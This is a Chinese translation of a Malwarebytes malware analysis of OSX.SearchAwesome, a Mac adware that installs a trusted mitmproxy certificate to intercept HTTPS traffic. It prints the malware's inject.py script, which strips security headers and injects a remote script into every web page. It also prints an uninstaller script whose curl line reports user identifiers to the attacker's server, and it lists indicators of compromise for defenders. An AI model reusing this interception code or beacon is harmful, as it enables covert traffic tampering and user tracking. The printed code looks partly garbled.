Malwarebytes對Mac惡意軟體通過攔截加密流量進行廣告注入的分析
上周,Malwarebytes的研究人員Adam Thomas發現了一款有趣的Mac惡意軟體,它會進行一些惡意活動,比如攔截加密的網路流量來注入廣告。專門負責Mac的Malwarebytes,將該惡意軟體檢測為OSX.SearchAwesome,讓我們看看它是如何安裝的,並且了解這種攻擊的含義。
安裝
該惡意軟體是在一個相當平淡無奇的磁碟圖像文件中被發現的,該惡意軟體沒有任何一般修飾,因此看起來像一個合法的安裝程序。
當打開該惡意軟體時,該應用程序不顯示安裝程序顯示,而是以不可見的方式安裝組件。兩個身份驗證請求是該惡意軟體進行任何活動的唯一證據。第一個請求是請求授權對證書信任設置的更改。
第二個是允許所謂的spi修改網路配置。
由於這種惡意軟體是在第二階段被發送的,並由另一個惡意安裝程序下載。它不需要漂亮的用戶界面,因為用戶只會看到密碼請求,而這些請求將在另一個安裝程序的上下文中。
廣告軟體的行為
與許多廣告軟體一樣,spinstall應用程序安裝了一個應用程序和幾個啟動代理:
/Applications/spi.app
~/Library/LaunchAgents/spid-uninstall.plist~/Library/LaunchAgents/spid.plist
spid.plist代理用於啟動spi.app,但有趣的是,它並不是為了讓應用程序持續運行而設計的。如果用戶強迫應用程序退出,除非計算機重新啟動或用戶登出並返回,該應用程序將不會自動重新打開。
有趣的是,spid-uninstall.plist代理監視spi.app應用程序是否被移除,如果應用程序以某種方式被移除,它則會移除惡意軟體的其他組件。(稍後將詳細介紹。)
然而,該應用程序也與其他的廣告軟體有很大的不同,它安裝了一個證書用於中間人(MitM)攻擊,同時惡意軟體也能夠將其自身插入到一個託管鏈的某處,通常使用網路數據包來實現這一操作。
在這種情況下,惡意軟體使用證書作為獲取https通信訪問許可權的第一步,https通信通常在瀏覽器和網站之間加密,其他軟體無法查看。但是,系統信任的證書(如果在安裝過程中,彈出詢問時,您輸入了密碼,證書就會被信任)可以用來攔截https通信。
接下來,惡意軟體安裝了一個名為mitmproxy的開源程序。根據mitmproxy網站的說法,該軟體「可用於攔截、檢查、修改和重放web通信」。該證書實際上屬於mitmproxy項目,該軟體不僅可以通過使用未加密的http通信實現上述操作,還可以使用加密的https通信。
該軟體旨在使用這種功能修改web通信,以便將JavaScript注入每個頁面。在惡意軟體安裝的inject.py腳本中可以看到這一過程。
from mitmproxy import http
def response(flow: http.HTTPFlow) -> None:
if flow.response.status_code == 200:
if "text/html" in flow.response.headers["content-type"]:
flow.response.headers.pop("content-security-policy", None)
flow.response.headers.pop("content-security-policy-report-only", None)
script_url = "https://chaumonttechnology.com/ia/script/d.php?uid=d7a477399cd589dcfe240e9f5c3398e2&a=3675&v=a1.0.0.25"
html = flow.response.content
html = html.decode().replace("", "http://+script_url+")
flow.response.content = str(html).encode("utf8")
這裡顯示,惡意軟體在被感染計算機上載入的每個網頁的末尾都會注入一個從惡意網站載入的腳本。
卸載程序
如果spi.app被刪除,spid-uninstall.plist代理將運行以下腳本:
if ! [ -d "/Applications/spi.app" ]; then
networksetup -setwebproxystate "Wi-Fi" off
networksetup -setsecurewebproxystate "Wi-Fi" off
networksetup -setwebproxystate "Ethernet" off
networksetup -setsecurewebproxystate "Ethernet" off
VERSION=$(defaults read com.searchpage.spi version)
AID=$(defaults read com.searchpage.spi aid)
UNIQUE_ID=$(defaults read com.searchpage.spi unique_id)
curl "http://www.searchawesome.net/uninstall.php?un=1&v=$VERSION&reason=&unique_id=$UNIQUE_ID&aid=$AID"
defaults delete com.searchpage.spi
defaults delete com.searchpage.spiinstall
rm ~/Library/LaunchAgents/spid-uninstall.plist
rm ~/Library/LaunchAgents/spid.plist
fi
這一運行實現了幾波操作。首先,禁用最初設置的代理。接下來,從程序的首選項中獲取一些信息,並將這些信息發送到web伺服器。最後,刪除了首選項和啟動代理(儘管沒有正確卸載它們)。
在這一過程的第一步,該腳本將導致出現四次身份驗證請求,每次都需要密碼。
我通常不建議使用將被刪除的惡意軟體提供的卸載程序。在許多情況下,在刪除其他組件的同時,卸載程序會安裝新組件。一個很好例子就是Genieo惡意軟體,從2014年開始,這種惡意軟體多年來一直在重複上述操作。
對於這個卸載程序,需要注意的是,它保留了mitmproxy軟體,以及mitmproxy用來訪問加密的web通信的證書,這些證書已經被系統標記為受信任的證書。
影響
乍一看,這個廣告軟體似乎沒什麼害處,因為它只是注入了一個彈出廣告的腳本。不過,不能只看外表。由於該腳本是從伺服器載入的,因此可以隨時更改該伺服器的內容。該軟體可以從只彈出廣告,發展到虹吸用戶數據或將用戶重定向到釣魚網站。例如,想像一下,如果一個腳本被注入到特定銀行的網站上,該腳本將用戶重定向到一個旨在竊取用戶銀行憑證的釣魚頁面。
可以用注入的腳本做任何事情,從挖掘加密貨幣到捕獲瀏覽數據到鍵盤記錄等等。更糟糕的是,惡意軟體本身可以通過MitM攻擊無形的捕獲數據,而無需依賴JavaScript或修改web頁面內容。
即使惡意軟體消失了,其潛在的損害也沒有結束。通過保留下它用來執行MitM攻擊的工具,建立了另一種情境,在這種情鏡下,另一種惡意軟體,可能比這個更邪惡,它可以利用這些工具的存在來完成它自己的加密web通信捕獲。
Mac的Malwarebytes將檢測並移除這個惡意軟體的組件,該惡意軟體被檢測為OSX.SearchAwesome。但是,不會刪除mitmproxy的組件,因為它是一個合法的開源工具。如果您的計算機已經被感染,您應該從密鑰鏈中刪除mitmproxy證書(使用密鑰鏈實用程序)。
攻擊指標
如果你在Mac電腦上看到以下任何一種,表明電腦已經感染了這種惡意軟體:
/Applications/spi.app
~/Library/LaunchAgents/spid-uninstall.plist
~/Library/LaunchAgents/spid.plist
~/Library/SPI/
下面的條目是已安裝或曾經已安裝mitmproxy的標誌:
~/.mitmproxy/
一個普通名稱mitmproxy的證書:


※RtPOS惡意軟體分析
※最新發現!NOKKI惡意軟體與朝鮮Reaper組織有關
TAG:嘶吼RoarTalk |